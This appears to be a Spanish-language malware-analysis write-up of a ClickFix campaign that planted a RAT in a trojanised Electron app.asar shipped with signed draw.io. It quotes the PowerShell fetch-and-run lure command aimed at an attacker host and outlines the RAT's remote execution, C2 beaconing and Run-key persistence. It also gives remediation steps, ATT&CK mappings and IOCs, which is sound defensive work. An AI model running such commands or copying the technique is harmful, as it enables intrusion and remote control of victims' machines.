← Todas las notas de campo

Anatomía de una campaña ClickFix-a-RAT: troyanizando el app.asar de Electron

Un binario firmado, DLLs limpias y un archivo app.asar manipulado: cómo un señuelo ClickFix derivó en un RAT persistente que heredó la cadena de confianza de draw.io.

Un falso mensaje de “no soy un robot” en fepafut[.]com, el sitio oficial de la federación panameña de fútbol, indicaba a los visitantes que pegaran un comando en el cuadro de diálogo Ejecutar de Windows. ClickFix clásico. Lo que vino después no lo fue tanto: cada ejecutable del paquete resultante estaba firmado, limpio, y pasaría una revisión de VirusTotal sin levantar sospechas. El compromiso vivía en un lugar que la firma de código no mira.

El señuelo

El falso CAPTCHA del sitio guiaba a la víctima a través del ya conocido guion de ClickFix: “verificar que eres humano” abriendo Ejecutar (Win+R) y pegando un comando proporcionado por la página. Sin exploit, sin macro. Solo un visitante haciendo exactamente lo que le indicaron.

Cadena de ejecución

Cuatro etapas, cada una legítima por separado:

  1. powershell.exe se ejecuta con iex(irm ccudmcx[.]xyz/u), cargando la segunda etapa en memoria y escribiéndola en runner.ps1.
  2. powershell.exe ejecuta (runner.ps1), el dropper, que descarga update26[.]zip, un archivo sospechosamente grande de 1.3GB, y lo extrae en %LOCALAPPDATA%\UpdateApp\.
  3. draw.io.exe, firmado por JGraph Ltd. (la empresa que realmente publica draw.io), carga un app.asar troyanizado al iniciar y establece persistencia de inmediato mediante una clave de registro CurrentVersion\Run.

No era sideloading: la carga útil estaba en el asar

Cada ejecutable del paquete update26.zip resultó limpio y firmado en VirusTotal. El tamaño de 1.3GB apuntaba en un principio hacia DLL sideloading, hasta que quedó claro que la carga útil no era una DLL en absoluto.

Las aplicaciones Electron cargan su JavaScript del proceso principal desde resources\app.asar, un archivo empaquetado que acompaña al ejecutable firmado. Al reemplazar ese único archivo, el código malicioso hereda la cadena de confianza de una aplicación legítimamente firmada sin tocar jamás un binario que un control de firma de código pudiera marcar. Los controles de integridad de PE no tienen nada que detectar aquí: el ejecutable está intacto y genuinamente firmado por JGraph.

Electron es el motor detrás de una larga lista de aplicaciones firmadas de uso cotidiano: VS Code, Discord, Slack, Postman y Notion, entre otras. Cualquiera de ellas es candidata al mismo truco si un atacante logra reemplazar su app.asar.

Capacidades del RAT

Una vez cargado, el app.asar troyanizado le daba al atacante:

  • Ejecución arbitraria de JavaScript en el proceso principal de Electron vía eval(task.e).
  • La capacidad de escribir y ejecutar archivos codificados en base64 obtenidos del C2, mediante child_process.exec.
  • Un ID persistente por víctima para un beaconing estable y rastreable.

Comando y control

El implante envía un POST cada 65 segundos a chimefusion[.]com/u/, el servidor C2 de los atacantes. El cuerpo de la solicitud es un arreglo JSON con el ID de la víctima, COMPUTERNAME y USERNAME, suficiente para que el operador clasifique víctimas sin necesidad de interactuar directamente con el endpoint.

Persistencia

  • app.setLoginItemSettings({ openAtLogin: true }) crea una entrada en HKCU\Software\Microsoft\Windows\CurrentVersion\Run que apunta a %LOCALAPPDATA%\UpdateApp\draw.io.exe.
  • Un ID de víctima persistente se guarda en caché en %APPDATA%\setup.txt.
  • La entrada en la clave Run es lo que la mayoría de los defensores pasará por alto: apunta a un ejecutable firmado y legítimo. La señal no está en el binario, está en la ruta: draw.io no tiene ninguna razón legítima para estar instalado bajo %LOCALAPPDATA%\UpdateApp\.

Remediación

  • Bloquear chimefusion[.]com y ccudmcx[.]xyz a nivel de red.
  • Eliminar %LOCALAPPDATA%\UpdateApp\, %APPDATA%\setup.txt y %TEMP%\runner.ps1 (%TEMP%\update26[.]zip se autolimpia como parte de la ejecución de runner.ps1).
  • Eliminar la entrada de CurrentVersion\Run que referencia draw.io.exe.
  • Rotar cualquier credencial que haya estado activa en el host durante la ventana de compromiso.

MITRE ATT&CK

Técnicas observadas en este caso.

Táctica Técnica ID
Acceso inicial Drive-by Compromise T1189
Ejecución User Execution: Malicious Copy and Paste T1204.004
Ejecución Command and Scripting Interpreter: PowerShell T1059.001
Comando y control Ingress Tool Transfer T1105
Persistencia Compromise Host Software Binary T1554
Persistencia Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1547.001
Evasión de defensas Masquerading: Match Legitimate Name or Location T1036.005
Descubrimiento System Information Discovery T1082
Descubrimiento System Owner/User Discovery T1033
Comando y control Application Layer Protocol: Web Protocols T1071.001

Indicadores de compromiso

Señuelo          fepafut[.]com
Entrega          ccudmcx[.]xyz
C2               chimefusion[.]com/u/
Ruta instalación %LOCALAPPDATA%\UpdateApp\ (ubicación anómala de drawio)
Caché ID víctima %APPDATA%\setup.txt
Dropper          %TEMP%\runner.ps1, %TEMP%\update26[.]zip
Persistencia     HKCU\Software\Microsoft\Windows\CurrentVersion\Run -> draw.io.exe
update26.zip     d942e9cfc0ca32a3d66ec690090ee22dca74953efed6889fb2292de36f5e39fd
app.asar         0642708ec7c25dec3168f1ab275a29bfd3cf69fe3afc3d5c6eadfa6750102883

Qué llevarse de este caso

Un resultado limpio en VirusTotal no cerró el triaje aquí, y no debía cerrarlo. Cada PE del paquete era genuino; el código malicioso estaba dentro de un archivo que la mayoría de las herramientas nunca abre. Los controles de integridad que se detienen en el binario no ven nada, y la superficie es amplia: cualquier aplicación Electron firmada del entorno es candidata.

Lo que delató el caso fue la ruta. No una firma ni un hash: un binario legítimo ejecutándose desde un directorio en el que no tenía nada que hacer. Esa revisión no cuesta nada y sirve para toda la categoría, no solo para esta muestra.